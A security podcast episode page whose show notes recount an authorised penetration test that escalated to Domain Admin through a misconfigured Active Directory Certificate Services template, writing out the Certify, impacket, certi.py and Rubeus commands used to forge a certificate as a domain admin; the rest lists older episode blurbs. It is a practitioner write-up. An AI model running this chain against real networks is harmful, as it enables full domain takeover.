7MS #501: Tales of Pentest Pwnage - Part 31
7 Minute Security29 Joulu 2021

7MS #501: Tales of Pentest Pwnage - Part 31

Today we're closing down 2021 with a tale of pentest pwnage - this time with a path to DA I had never had a chance to abuse before: Active Directory Certificate Services! For the full gory details on this attack path, see the Certified Pre-Owned paper from the SpecterOps crew. The TLDR/TLDL version of how I abused this path is as follows:

Run Certify.exe find /vulnerable, and if you get some findings, review the Certified Pre-Owned paper and the Certify readme file for guidance on how to exploit them. In my case, the results I got from Certify showed:

msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT

Reading through the Certify readme, I learned "This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA)." The Certify readme file walks you through how to attack this config specifically, but I had some trouble running all the tools from my non-domain-joined machine. So I used a combination of Certify and Certi to get the job done. First I started on Kali with the following commands:

sudo python3 /opt/impacket/examples/getTGT.py 'victimdomain.domain/MYUSER:MYPASS' export KRB5CCNAME=myuser.cache sudo python3 ./certi.py req 'victimdomain.domain/MYUSER@FQDN.TO.CERT.SERVER' THE-ENTERPRISE-CA-NAME -k -n --alt-name DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE --template VULNERABLE-TEMPLATE NAME

From that you will get a .pfx file which you can bring over to your non-domain-joined machine and do:

rubeus.exe purge rubeus.exe asktgt /user:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE /certificate:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE@victim.domain.pfx /password:PASSWORD-TO-MY-PFX-FILE /domain:victimdomain.domain /dc:IP.OF.DOMAIN.CONTROLLER

And that's it! Do a dir \\FQDN.TO.DOMAIN.CONTROLLER\C$ and enjoy your new super powers!

Jaksot(682)

7MS #58: What Should We Do First? (audio)

7MS #58: What Should We Do First? (audio)

At the end of just about every assessment I deliver, the client asks “What should we do first?” They (understandably) want to know a “top 5″ list of things they should change right away to improve their security posture. Today’s episode explores that a bit. 7MS #58: What Should We Do Next? (audio)

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7MS #57: How to Review a Firewall (audio)

7MS #57: How to Review a Firewall (audio)

In this episode I talk about a few different ways to approach firewall reviews/audits. This document was very helpful in getting my template started. Also check out Nipper if you’re looking for a firewall review/audit tool. 7MS #57: How to Review a Firewall (audio)

30 Huhti 20158min

7MS #56: OFFTOPIC – Catching Up and Blowing Noses (audio)

7MS #56: OFFTOPIC – Catching Up and Blowing Noses (audio)

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28 Huhti 20158min

7MS #55: OFFTOPIC – What’s in Brian’s Murse? (video)

7MS #55: OFFTOPIC – What’s in Brian’s Murse? (video)

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22 Huhti 20156min

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7MS #54: Traveling with a Red Giant (audio)

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7MS #53: Are You Ready to Get Robbed? (audio)

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14 Huhti 20157min

7MS #52: OFFTOPIC – My Son is Really Loyal (audio)

7MS #52: OFFTOPIC – My Son is Really Loyal (audio)

It’s another off-topic episode today. This one’s about how my eight-year-old son is fiercely loyal, and wants to settle a 25-year-old score for me. 7MS #52: OFFTOPIC – My Son is Really Loyal (audio)

9 Huhti 20158min

7MS #51: CEH vs. OSCP (audio)

7MS #51: CEH vs. OSCP (audio)

A few people have written in asking whether to pursue the CEH or OSCP (or both). This episode discusses my experience with each cert and hopefully points you in the right direction on which one might be right for you. Here’s the article on CEH I mention during the episode – it has much more…

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